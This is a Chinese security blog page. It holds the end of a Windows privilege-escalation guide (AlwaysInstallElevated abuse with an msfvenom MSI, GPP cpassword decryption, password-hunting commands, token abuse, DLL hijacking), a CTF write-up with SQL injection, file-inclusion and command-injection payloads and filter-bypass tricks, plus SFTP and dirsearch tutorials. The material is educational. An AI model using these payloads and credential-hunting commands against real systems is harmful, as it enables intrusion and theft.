Everyone:(0I)(CI)(F)...在上面的例子中,Everyone具有路径的完全控制权限(F)。还可以使用AccessChk工具调查文件系统权限。默认情况下,所有经过身份验证的用户都可以写入安装在根C:目录中的软件目录。例如,Ruby、Perl和Python等脚本语言或Landesk或Marimba等远程管理工具的目录。系统安装后创建的目录通常也是可写的。C:root中的可写目录可能位于应用程序的路径中,这意味着二进制文件或.dll之类的项也可以注入其路径中。AlwaysInstallElevatedAlwaysInstallElevated是一种允许非管理用户以SYSTEM权限运行Microsoft Windows安装程序包(.MSI文件)的设置。默认情况下禁用此设置,需系统管理员手动启用他。可以通过查询以下注册表来识别此设置:[HKEY_CURRENT_USERSOFTWAREPoliciesMicrosoftWindowsInstaller] “AlwaysInstallElevated”=dword:00000001[HKEY_LOCAL_MACHINESOFTWAREPoliciesMicrosoftWindowsInstaller] “AlwaysInstallElevated”=dword:00000001例如,通过使用reg query命令:C:> reg query HKCUSOFTWAREPoliciesMicrosoftWindowsInstaller /v AlwaysInstallElevated或:C:> reg query HKLMSOFTWAREPoliciesMicrosoftWindowsInstaller /v AlwaysInstallElevated如果存在漏洞,上面将输出以下内容:HKEY_CURRENT_USERSOFTWAREPoliciesMicrosoftWindowsInstallerAlwaysInstallElevated REG_DWORD 0x1如果系统没这个漏洞,它将输出错误:ERROR: The system was unable to find the specified registry key or value.如果系统配置了AlwaysInstallElevated,则可以利用它来提升权限。可以使用msfvenom创建恶意.msi文件。选择所需的payload并设置使用-f msi将输出格式设置为MSI。然后可以使用msiexec在易受攻击的系统上执行攻击代码。组策略首选项漏洞组策略首选项(GPP)与附加到域的计算机的基于Server 2008策略的配置一起发布。客户端计算机定期使用当前登录用户的帐户凭据进行域控制,以进行身份验证,然后生成配置策略。可用于软件部署、配置启动脚本、映射网络共享、配置注册表配置单元、配置打印机、管理安全权限等。还可以为本地管理员帐户配置密码。这些策略文件存储在域控制器的SYSVOLL共享中的一系列.xml文件中。路径通常是这样的:\REMOTE_HOSTSYSVOLLREMOTE_HOSTPolicies{POLICY_ID}MachinePreferences\可能存在以下配置文件:ServicesServices.xmlScheduledTasksScheduledTasks.xmlPrintersPrinters.xmlDrivesDrives.xmlDataSourcesDataSources.xml这些配置文件可能包含名为“cpassword”的配置选项,用于配置帐户的密码。这些密码使用32字节AES密钥加密:4e 99 06 e8 fc b6 6c c9 fa f4 93 10 62 0f fe e8f4 96 e8 06 cc 05 79 90 20 9b 09 a4 33 b6 6c 1b此漏洞已通过MS14-025解决,但此修补程序仅阻止创建新策略,并且包含凭据的任何旧版GPP仍然容易受到攻击。破解密码可以使用该配置访问计算机的本地管理员帐户,这可以通过Kali中的gpp-decrypt命令完成:root@kali:~# gpp-decrypt j1Uyj3Vx8TY9LtlZi12uAuZkFQA/41atT76Zwgdhdhw Local*P4ssword!凭证窃取(读书人怎么能叫窃呢)在主机上可以找到一些密码:textunattend.xmlGPP.xmlSYSPREP.INFsysprep.xml其他各种配置文件日志文件注册表项文件如my_passwords.txt, my_passwords.xls等还可以搜索文件系统以查找常见的敏感文件。ps:个人意见,提权就是看你信息收集的全面不全面C:UsersuserDesktop> dir C:*vnc.ini /s /b /c或者在名称中包含关键词的项目:C:UsersuserDesktop> dir C: /s /b /c | findstr /sr *password*或者可以在文件内容中搜索password之类的关键字:C:UsersuserDesktop>findstr /si password *.txt | *.xml | *.ini可以查询注册表,例如,字符串password:reg query HKLM /f password /t REG_SZ /sreg query HKCU /f password /t REG_SZ /s系统管理员可能有包含凭据的配置文件。unattend.xml文件用于自动化软件部署,并包含纯文本(base64编码)凭据。此外,已知一些用户将其密码保存在纯文本文件中是为了方便而忽视了安全性。令牌权限可以在以下系统中滥用这些令牌:Microsoft Windows XP Professional SP3和之前版本Windows Server 2003 SP2和之前的版本Windows Server 2003 x64和x64 SP2Windows Server 2003 (用于基于Itanium的系统SP2和先前版本)Windows Server 2008Windows Server 2008 x64Windows Server 2008 (用于基于Itanium的系统)Windows Vista SP1和之前的版本Windows Vista x64 SP1和之前的版本帐户有许多可利用的令牌权限:SeImpersonatePrivilegeSeAssignPrimaryPrivilegeSeTcbPrivilegeSeBackupPrivilegeSeRestorePrivilegeSeCreateTokenPrivilegeSeLoadDriverPrivilegeSeTakeOwnershipPrivilegeSeDebugPrivilege要查看与当前帐户使用关联的权限 whoami /priv。这些权限可能与帐户相关联,从根本上意味着用户能够进行导致操作系统以可利用的方式运行payload的操作。如果他们的帐户具有必要的权限,则攻击者可以调用Microsoft分布式事务处理协调器(MSDTC)服务来执行某些操作。它在进行远程过程调用时请求提升权限,然后调用它从而生成特权安全令牌以执行特权操作。当系统允许这些令牌不仅用于进程本身,而且还用于原始请求进程时,漏洞就会出现。有些帐户更有可能拥有这些帐户,并且有很多方法可以利用这些帐户。例如:获取对用于系统备份的服务帐户的访问权限,并强制与运行responder.py的SMB共享进行NTLM通信利用Web服务并获得可以执行SQL查询和帐户的帐户的访问权限 XP_CMDSHELL Kerberoast攻击,或从域控制器获取Kerberos票证并将其脱机在以完全信任模式配置TIS的系统上执行ASP.NET代码能够为ISAPI过滤器或扩展提供代码发现其他服务帐户凭据泄漏利用令牌权限是许多权限升级漏洞利用的技术,例如Metasploit中的许多工具,以及DirtyPotato等。这是一个值得开发的领域,值得进一步研究。有关这方面的更多信息,请参见此处。DLL劫持动态链接库(DLL)通过提供跨系统共享的可执行代码模块,在操作系统上提供了大量功能。当开发人员未指定DLL的完全限定的绝对路径时,就会出现漏洞。当进程调用DLL时,它按以下顺序查找它:加载应用程序的目录(例如,相对路径引用的DLL)32位系统目录(C:WindowsSystem32)16位系统目录(C:WindowsSystem)Windows目录(C:Windows)当前工作目录(CMD)PATH环境变量中的目录(系统路径,然后是用户路径)它执行它找到的.dll的第一个实例。首先,有几种方法可以识别这个漏洞的流程。该进程监视工具可以用来查看整个的过程,以及搜索和过滤他们的活动,对脆弱的DLL进行调用。HKEY_LOCAL_MACHINESYSTEMCurrentControlSetservicesServiceNameParameters可以查询注册表项以查看服务运行的服务DLL,或者可以将二进制文件加载到IDA中并搜索loadlibrary库调用。另外一定要检查DLL本身的DLL调用!一旦找到易受攻击的DLL调用,就必须检查该DLL的文件系统:C:> dir vulnerable.dll /s还要注意,不要因为它找不到就认为它不存在。它可能只是在当前用户帐户无法查看的目录中。最后,要执行DLL highjack,需要在目录层次结构中的某个位置,原始.dll本身,CWD或PATH中的目录中编写安全测试的.dll。PATH是一个环境变量,它定义命令解释器在发出命令时应查找可执行文件的位置。修改PATH,并将.dll写入PATH中的目录,允许进行DLL劫持,进程在PATH中搜索.dll文件。要修改PATH,例如:C:UsersuserDesktop>set PATH=%PATH%;C:Python27这将允许通过C:Python27目录中的路径加载可执行文件和DLL,默认情况下,任何经过身份验证的用户都可以写入该目录。一些已知具有DLL劫持漏洞的Windows服务是:IKE和AuthIP IPsec密钥模块(IKEEXT):wlbstr1.dllWindows Media Center接收器服务(ehRecvr):ehETW.dllWindows Media Center计划程序服务(ehSched):ehETW.dll自动更新(wuauserv):ifsproxy.dll远程桌面帮助会话管理器(RDSession):SalemHook.dll远程访问连接管理器(RasMan):ipbootp.dllWindows Management Instrumentation (winmgmt):wbemcore.dll音频服务(STacSV):SFFXComm.dll SFCOM.DLL英特尔快速存储技术(IAStorDataMgrSvc):DriverSim.dllJuniper统一网络服务(JuniperAccessService):dsLogService.dllEncase Enterprise Agent:SDDisk.dll可以在此处找到已知具有dll劫持漏洞的其他服务。工具和框架幸运的是,有许多工具和框架可以使提权变得更容易:MetasploitSherlockwindows-privesc-checkWindows-Exploit-SuggesterPowerUp, now part of PowerSploitNishang其中许多工具可以通过自动识别可利用的错误配置或通过检查系统补丁级别与常见的已知漏洞来帮助您。但它们不是100%有效,所以要注意误报/漏报!ps:上面的工具老司机应该都很熟练了最后的想法感谢您的阅读,我希望您发现本指南很有用。(我希望你已经获得了那个SYSTEM shell!)我将在接下来的几个月内发表一些有趣的研究,但我恐怕此时不能再详细介绍,敬请期待!;)参考ps: 下面是一些不错的可以学习利用的网站和博客Windows权限升级基础https://www.fuzzysecurity.com/tutorials/16.htmlWindows权限升级第1部分:本地管理员权限https://blog.netspi.com/windows-privilege-escalation-part-1-local-administrator-privileges/Pentesters的Windows权限提升方法https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/“嗯,快速升级”常见的Windows权限升级向量https://toshellandback.com/2015/11/24/ms-priv-esc/自动执行Windows权限提升http://resources.infosecinstitute.com/automating-windows-privilege-escalation/Windows 8上的Extreme Privilege Escalationhttps://www.blackhat.com/docs/us-14/materials/us-14-Kallenberg-Extreme-Privilege-Escalation-On-Windows8-UEFI-Systems.pdf滥用令牌权限进行Windows本地权限提升https://foxglovesecurity.com/2017/08/25/abusing-token-privileges-for-windows-local-privilege-escalation/Microsoft Windows令牌绑定权限提升漏洞https://tools.cisco.com/security/center/viewAlert.x?alertId=15702您对GPP了解多少?https://www.toshellandback.com/2015/08/30/gpp/Windows操作系统中的Privilege升级http://www.cs.toronto.edu/~arnold/427/155/csc427/indexth/privilege-escalation/privilege-escalation-windows.pdf滥用EOP的令牌权限https://github.com/hatRiot/token-private利用弱文件夹权限提升权限http://www.greyhathacker.net/?p=738Metasploit Unleashed: 特权升级https://www.offensive-security.com/metasploit-unleashed/privilege-escalation/位操作: 将系统令牌作为普通用户窃取https://zerosum0x0.blogspot.nl/2016/02/bits-manipulation-stealing-system.html不带引号的服务路径https://www.commonexploits.com/unquoted-service-paths/Windows中的权限提升https://codemuch.tech/2017/05/14/priv-esc-win.htmlSysInternals AccessChk工具https://docs.microsoft.com/en-us/sysinternals/downloads/accesschkAccessChk.exe使用指南https://blogs.technet.microsoft.com/seeguide/2008/07/21/how-to-use-accesschk-exe-for-security-compliance-management/SubInACL.exe下载https://www.microsoft.com/en-us/download/details.aspx?id=23510当我输入getsystem时会发生什么https://blog.cobaltstrike.com/2014/04/02/what-happens-when-i-type-get-system/动态链接库搜索顺序https://msdn.microsoft.com/en-us/library/windows/desktop/ms682586(v=vs.85).aspx进程监视器下载https://docs.microsoft.com/en-us/sysinternals/downloads/procmon动态链接库安全性https://msdn.microsoft.com/en-us/library/windows/desktop/ff919712(v=vs.85).aspxWindows文件和文件夹权限指南https://msdn.microsoft.com/en-us/library/bb727008.aspxSECWIKIhttps://github.com/SecWikiAccess Tokenshttps://msdn.microsoft.com/en-us/library/windows/desktop/aa374909(v=vs.85).aspx访问令牌的工作原理https://technet.microsoft.com/en-us/library/cc783557(v=ws.10).aspxWindows RE6参考https://ss64.com/nt/reg.htmlWindows CMD参考https://ss64.com/nt/如何使用Regedithttps://www.techsupportalert.com/content/learn-how-use-windows-registry-editor-regedit-one-easy-lesson.htm调用-WCMDumphttps://securityonline.info/invoke-wcmdump-dump-windows-credentials-from-the-credential-manager/WMIC命令参考https://www.computerhope.com/wmic.htmPowerShell参考https://ss64.com/ps/penetration-testing-ninjitsu-with-edhttp://carnal0wnage.blogspot.com/2008/02/penetration-testing-ninjitsu-with-ed.htmlDLL劫持易受攻击的应用程序https://www.exploit-db.com/dll-hijacking-vulnerable-applications/Windows/Linux本地特权升级研讨会https://github.com/sagishahar/lpeworkshop如何使用组策略劫持攻击拥有任何Windows网络https://labs.mwrinfosecurity.com/blog/how-to-own-any-windows-network-with-group-policy-hijacking-attacks/真实世界中的Pentesting:组策略Pwnagehttps://blog.rapid7.com/2016/07/27/pentesting-in-the-real-world-group-policy-pwnage/Windows内核漏洞利用https://pentestlab.blog/2017/04/24/windows-kernel-exploits/
2025年12月15日
6 阅读
1 评论
2 点赞
2024-10-26
不使用工具,把电脑文件上传服务器
{mtitle title="SFTP"/}如何无需任何软件通过命令行向linux服务器传输文件使用SFTP(SSH File Transfer Protocol)可以通过安全的SSH连接在本地和远程主机之间传输文件。以下是如何使用SFTP的基本步骤:兼容性强支持所有终端 windows. macos 安卓 linux全都支持无需额外安装第三方软件1. 连接到远程服务器打开终端并输入以下命令以连接到远程服务器:sftp 用户名@服务器IP例如:sftp root@192.168.110.111put 文件名 上传文件到服务器get 文件名 下载文件到本地。2. 常用SFTP命令#查看远程目录内容: ls #查看本地目录内容: lls #切换远程目录: cd remote_directory #切换本地目录: lcd local_directory #上传文件到远程服务器: put local_file #下载文件到本地: get remote_file #上传整个目录到远程服务器: put -r local_directory #下载整个目录到本地: get -r remote_directory #退出SFTP会话: bye 或 exit 3. 示例假设您要将本地文件example.txt上传到远程服务器的/home/username/目录:sftp username@remote_hostsftp> put example.txt /home/username/sftp> bye注意事项确保您有远程服务器的访问权限,并且SSH服务正在运行。
2024年10月26日
11 阅读
0 评论
0 点赞
2024-10-25
记一次ctf练习
第一题 [极客大挑战 2019]EasySQL先输入1试试返回参数username=1&password=1输入username=1&password=1 order by 1,2,3,4,5,6试探类型,试探了但是好像报错You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''' at line 1可以尝试一下sql万能密码,用户名输入1,密码使用万能密码' or '1'='1https://blog.csdn.net/u012206617/article/details/125770267然后点击提交,发现显示flag另一种方法使用sqlmap直接跑(这里没有成功)python sqlmap.py -u "http://368a000c-f8d1-4f39-85c8-b203edf49973.node5.buuoj.cn:81/check.php?username=1&password=1" -dbs #使用sqlmap直接一把梭,没有出来,加参数 python sqlmap.py -u "http://368a000c-f8d1-4f39-85c8-b203edf49973.node5.buuoj.cn:81/check.php?username=1&password=1" --random-agent -dbs #得出结果 sqlmap resumed the following injection point(s) from stored session: --- Parameter: username (GET) Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment) Payload: username=-6221' OR 8577=8577#&password=1 Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: username=1' AND (SELECT 6452 FROM (SELECT(SLEEP(5)))DPIW)-- NqgV&password=1 Parameter: password (GET) Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment) Payload: username=1&password=-3288' OR 2496=2496# Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: username=1&password=1' AND (SELECT 3789 FROM (SELECT(SLEEP(5)))Kfnu)-- kFrC --- there were multiple injection points, please select the one to use for following injections: [0] place: GET, parameter: username, type: Single quoted string (default) [1] place: GET, parameter: password, type: Single quoted string [q] Quit > 选择默认,然后报错了,显示没有爆出表 [21:34:04] [INFO] retrieved: [21:34:05] [INFO] retrieved: [21:34:05] [CRITICAL] unable to retrieve the database names 这里不会了结论:使用sql万能密码或者万能账号得出flag,flag{8a48155f-d480-423e-9b13-99adfa8c8db1}万能密码:' or '1'='1这里sql查询语句会变成select * from user where username= '1' and password = '' or '1'='1 '语句为真,可行,得到flag。万能账号:admin' or 1=1 #select * from user where username= 'admin' or 1=1 #' and password = '1'也为真,得到flag第二题 [极客大挑战 2019]Havefun启动靶机打开网址,发现一个猫,这里什么都没有,打开开发者工具看看发现元素里面有东西 $cat=$_GET['cat']; echo $cat; if($cat=='dog'){ echo 'Syc{cat_cat_cat_cat}'; }这里是一段php代码,分析代码可以看出,定义了一个变量cat,使用get传参cat,会输出cat,如果输出的cat参数等于dog,会输出Syc{cat_cat_cat_cat}在网址中传参看看?cat=dog点击execute,发现显示flagflag{61b37ff1-713c-4608-b8e3-b293aa686e37}第三题 [HCTF 2018]WarmUp这一题看题目标签得知是一个php的代码审计题目创建容器,打开是一个滑稽,和上题一样,打开开发者工具看看看到一个php访问看一下打开是一个php,这里看不懂,发给gpt,让gpt简单分析一下代码这段PHP代码展示了一个简单的文件包含机制,同时包含一定的安全检查,防止用户通过file参数任意包含文件。具体功能如下: highlight_file(FILE): 这行代码会将当前PHP文件的源代码以高亮的形式显示出来。这样你可以在页面上看到这段PHP代码本身。 类 emmm: 定义了一个emmm类,包含静态方法checkFile,用于检查传入的文件是否在白名单内。 白名单($whitelist)仅包含两个文件:source.php和hint.php。 checkFile方法首先检查传入的页面参数是否存在且为字符串。如果不满足条件,输出"you can't see it"并返回false。 然后,它使用mb_substr和mb_strpos等函数提取文件路径,并逐步检查是否在白名单内。每次尝试不同的字符串处理方式来确定文件路径是否合法。 核心逻辑: 代码通过$_REQUEST['file']检查是否提供了file参数,并确保它是字符串。如果参数通过了emmm::checkFile方法的检查,则使用include包含指定的文件并终止脚本执行。 如果没有提供合法的文件,页面将显示一张图片(通过URL加载)。 安全分析: 代码采用了白名单机制,确保只有明确允许的文件(source.php和hint.php)可以被包含,避免了任意文件包含(LFI)攻击的可能性。 但仍需确保白名单内的文件是安全的,且不会被恶意修改。 传入的file参数被多次处理(如urldecode),以确保没有通过编码绕过检查,但这仍需注意编码相关的潜在风险。 总体来说,这段代码有一定的安全性,但为了确保更高的安全性,可以进一步加强验证或使用更安全的文件包含策略。看了一个大概,继续分析,从下面向上分析$_REQUEST 是 PHP 中的一个超全局变量,它包含了通过 HTTP 请求的方式发送给服务器的所有数据的组合。具体来说,$_REQUEST 会包括以下数组的内容:$_GET:通过 URL 查询字符串传递的参数(即 GET 请求的数据)。$_POST:通过表单或其他方式以 POST 请求方法传递的参数。$_COOKIE:通过 HTTP 请求中的 Cookie 传递的数据。//即其关键在于传了文件包含漏洞的payload之后,还使checkFile返回真。if (! empty($_REQUEST['file']) && is_string($_REQUEST['file']) && emmm::checkFile($_REQUEST['file']) ) {有点不是很理解,百度搜了一下,发现payload文件包含漏洞,构造file的值。本地文件包含漏洞的格式一般是file=../../../.../xxx直接访问一下hint.php发现文件名是ffffllllaaaagggg那就一点一点尝试吧file=source.php?../ffffllllaaaagggg加到第五个的时候出现flag了source.php?file=source.php?../../../../../ffffllllaaaaggggflag{5a62e888-0e1e-498b-b292-f7cd4c5035c8}第四题 [ACTF2020 新生赛]Include文件包含点击tips发现他访问了一下?file=flag.php这里可以使用php的伪协议php://filter直接?file=php://filter/read=convert.base64-encode/resource=flag就是将读取的内容进行base64加密,访问后出现base64,解密后发现flagflag{15af3147-128a-45d6-86ed-c7ffe143dbc6}第五题 [ACTF2020 新生赛]Exec打开页面发现是一个ping,输入127.0.0.1回环地址看看发现有回显,试试能不能用拼接符&& 或者 & 127.0.0.1 & ls /看到显示了PING 127.0.0.1 (127.0.0.1): 56 data bytes 64 bytes from 127.0.0.1: seq=0 ttl=42 time=0.030 ms bin dev etc flag home lib media mnt opt proc root run sbin srv sys tmp usr var 64 bytes from 127.0.0.1: seq=1 ttl=42 time=0.049 ms 64 bytes from 127.0.0.1: seq=2 ttl=42 time=0.050 ms --- 127.0.0.1 ping statistics --- 3 packets transmitted, 3 packets received, 0% packet loss round-trip min/avg/max = 0.030/0.043/0.050 ms看到根目录有个flag文件127.0.0.1 & cat /flag输入这个就可以看到flag了flag{d10744a2-c938-40f3-a6fb-fd0b0442269e}第六题 [GXYCTF2019]Ping Ping Ping这一题看着和上一题差不多,用上面的试试这一题打开题目发现是用get传参的方式打开hackbar、发现并不能,也可以是限制空格,试试其他方法,;使用;意思是执行完后执行后面的命令发现有回显可以看到一个flag.php的文件,使用cat查看执行不了,应该是空格过滤,百度搜一下(命令绕过空格方法)https://blog.csdn.net/m0_55754984/article/details/120280081${IFS}$9 {IFS} $IFS ${IFS} $IFS$1 IFS < <> %20 (space) %09 (tab) X=$'cat/x09./flag.php';$X?ip=127.0.0.1;cat${IFS}flag.php不能用{}用?ip=127.0.0.1;cat$IFS$1flag.php不能加flag,试试index,默认文件?ip=127.0.0.1;cat$IFS$1index.php分析代码得出过滤了特殊字符,然后百度找了一下大概思路cat fl* 用*匹配任意 cat fla* 用*匹配任意 ca/t fla/g.php 反斜线绕过 cat fl''ag.php 两个单引号绕过 echo "Y2F0IGZsYWcucGhw" | base64 -d | bash //base64编码绕过(引号可以去掉) |(管道符) 会把前一个命令的输出作为后一个命令的参数 echo "63617420666c61672e706870" | xxd -r -p | bash //hex编码绕过(引号可以去掉) echo "63617420666c61672e706870" | xxd -r -p | sh //sh的效果和bash一样 cat fl[a]g.php 用[]匹配 a=fl;b=ag;cat $a$b 变量替换 cp fla{g.php,G} 把flag.php复制为flaG ca${21}t a.txt 利用空变量 使用$*和$@,$x(x 代表 1-9),${x}(x>=10)(小于 10 也是可以的) 因为在没有传参的情况下,上面的特殊变量都是为空的选一种思路解题,试试变量替换,用$a拼接flag得出a=g;cat$IFS$1fla$a.php?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php这里没显示,但是执行了,又换了其他方法,最后在元素里面发现flag第七题 [SUCTF 2019]EasySQL看题目应该是个sql注入题目把你的旗帜给我,我会告诉你旗帜是否正确。输入一个1看看使用万能密码试试不行,网上查找方法,使用堆叠注入使用sql查询数据库show databases;继续查询表show tables;执行查询flag试试好像不能使用from上网找的方法,发现可以使用mysql中sql_mode的参数设置,把||变成字符串连接符https://blog.csdn.net/qq_39311377/article/details/132762315PIPES_AS_CONCATset sql_mode=PIPES_AS_CONCAT;select 1得出flagflag{2354e18f-5409-4256-a02f-64cc95b2b368}第八题 [强网杯 2019]随便注打开网页,发现和上题差不多这题是get传参,用sqlmap一把梭试试python sqlmap.py -u "http://039f52db-91d8-459f-bc7e-4ac6105cea9c.node5.buuoj.cn:81/?inject=1"发现有结果加参数python sqlmap.py -u "http://039f52db-91d8-459f-bc7e-4ac6105cea9c.node5.buuoj.cn:81/?inject=1" -dbs #查看数据库 这里出库了,爆表的时候出问题了,手动注入试试判断是否是字符型注入 http://039f52db-91d8-459f-bc7e-4ac6105cea9c.node5.buuoj.cn:81/?inject=1' 这里报错error 1064 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1''' at line 1 http://039f52db-91d8-459f-bc7e-4ac6105cea9c.node5.buuoj.cn:81/?inject=select 查询关键词过滤 发现联合注入过滤了,使用堆叠注入 http://039f52db-91d8-459f-bc7e-4ac6105cea9c.node5.buuoj.cn:81/?inject=1' order by 2--+ 查询字段 回显报错,就说明有两个字段1'; show databases; 查询数据库1%27;%20show%20tables;` 查看所有数据表"1';show columns from 1919810931114514;--+爆出1919810931114514的内容,发现里面是一个flagselect函数被过滤了,只能用其他方法查询没有过滤 alter 和 rename。可以修改表名和列名我们把表 words 改名为其它,然后把表 1919810931114514 改名为 words ,再在表 1919810931114514 插入一列 id ,或直接将列 flag 改名为 id ,当我们再次查询时,不就是查询 flag 所在表了吗,且可以被展示出来。这里是网上的解题思路1';rename table words to words1;rename table 1919810931114514 to words;alter table words change flag id varchar(100) character set utf8 collate utf8_general_ci not NULL;#网上的解释- rename table `words` to `words1`; 修改表 words 改名为其它, - rename table `1919810931114514` to `words`;修改表 1919810931114514 改名为 words , - alter table `words` change `flag` `id` varchar(100) character set utf8 collate utf8_general_ci not NULL;修改列 flag 改名为 id , - 或者可以 alter table words add id int unsigned not Null auto_increment primary key;在表 1919810931114514 插入一列 id, - 然后再 1' or 1=1# ,展示flag最后直接万能密码查询就能显示flagflag{fd0b43dc-4f30-4403-bcdb-de0d16b37f5d}这一题使用sqlmap好像也可以跑出来,但是我的sqlmap好像有问题第九题 [极客大挑战 2019]LoveSQL使用万能密码试试出现一个md5字符串尝试解密,发现解不开通过查询字段发现总共三个字段测试回显使用database(),查询当前数据库group_concat(table_name) from information_schema.tables where table_schema=database()爆表可以看到两个表先看看l0ve1ysq1表里面的内容group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'得到了三个字段group_concat(id,username,password) from l0ve1ysq1查看内容查询完发现flagflag{74b42ae0-ea41-4c43-947a-be3ae5ba4001}使用工具,sqlmap一把梭python sqlmap.py -u "http://e4906d8f-4623-46f9-8d5f-64aaab162dbe.node5.buuoj.cn:81/check.php?username=admin&password=1" --random-agent -dbs 爆出所有数据库 python sqlmap.py -u "http://e4906d8f-4623-46f9-8d5f-64aaab162dbe.node5.buuoj.cn:81/check.php?username=admin&password=1" --random-agent -D geek -tables 爆出geek数据库中的所有表 python sqlmap.py -u "http://e4906d8f-4623-46f9-8d5f-64aaab162dbe.node5.buuoj.cn:81/check.php?username=admin&password=1" --random-agent -D geek -T l0ve1ysq1 -dump 爆出geek数据库中的l0ve1ysq1表中所有的数据 最后得出flag第十题 [极客大挑战 2019]Secret File打开题目发现寻找密码,这种清空先ctrl加u看一下源代码有没有什么信息发现了一个/Archive_room.php点击打开打开看看好像中间发生了什么,抓个包看看有一个302跳转,但是中间还有一个隐藏文件,访问这个文件代码审计,看到注释,说flag在flag.php文件里面,上面有个get传参file,这里可以使用php伪协议filterhttps://blog.csdn.net/qq_44879989/article/details/133513447看不到,使用base64试试?file=php://filter/read=convert.base64-encode|convert.base64-encode/resource=flag.php解密看看得出flagflag{8eda8f4d-bbb1-4ac4-b455-dc70023a5336}
2024年10月25日
11 阅读
0 评论
0 点赞
2024-09-10
一个扫描网站目录的工具 dirsearch
本工具仅供娱乐使用,禁止用于商用或者恶意破坏他人网站第一步肯定是环境安装,因为是python写的,需要安装python和python的一些支持库这里我用的是python-3.9,这个自己去百度找,或者在python官网找python官网第二步文件下载:我们可以通过github去找,打不开自己挂个梯,这里就不教了github下载地址不会的可以从我网盘下载网盘下载第三步解压,解压要是不会的话,可以重开了,这里就不介绍了,下一步进入解压的目录就行第四步在该目录打开cmd,也就是命令行,至于怎么打开可以是用dos命令,或者在或者是也可以用命令行按住win加r输入cmd回车#这里要复制一下你解压后的绝对路径 #比如我这里是E:\tool\dirsearch-0.4.3 #然后命令行输入 cd E:\tool\dirsearch-0.4.3安装python需要使用的第三方库pip install -r .\requirements.txt -i https://pypi.tuna.tsinghua.edu.cn/simple这里需要pip,如果下载慢换成国内源,至于怎么换,自己百度(下期我会出一个教程)最后一步就是目录扫描比如我们的网站时blog.luckyos.top,就直接python .\dirsearch.py -u "blog.luckyos.top"然后等待扫描完成就行,看到敏感目录,访问头正常200就行补充这里补充一点,如果时linux可以直接用软件源安装#yum或者apt #例: apt install dirsearch #然后使用方法就是: dirsearch -u "blog.luckyos.top"kali linux的话自带的有一个dirb,方法和这个差不多,有需要的可以去了解一下
2024年09月10日
24 阅读
1 评论
2 点赞
1
2
...
5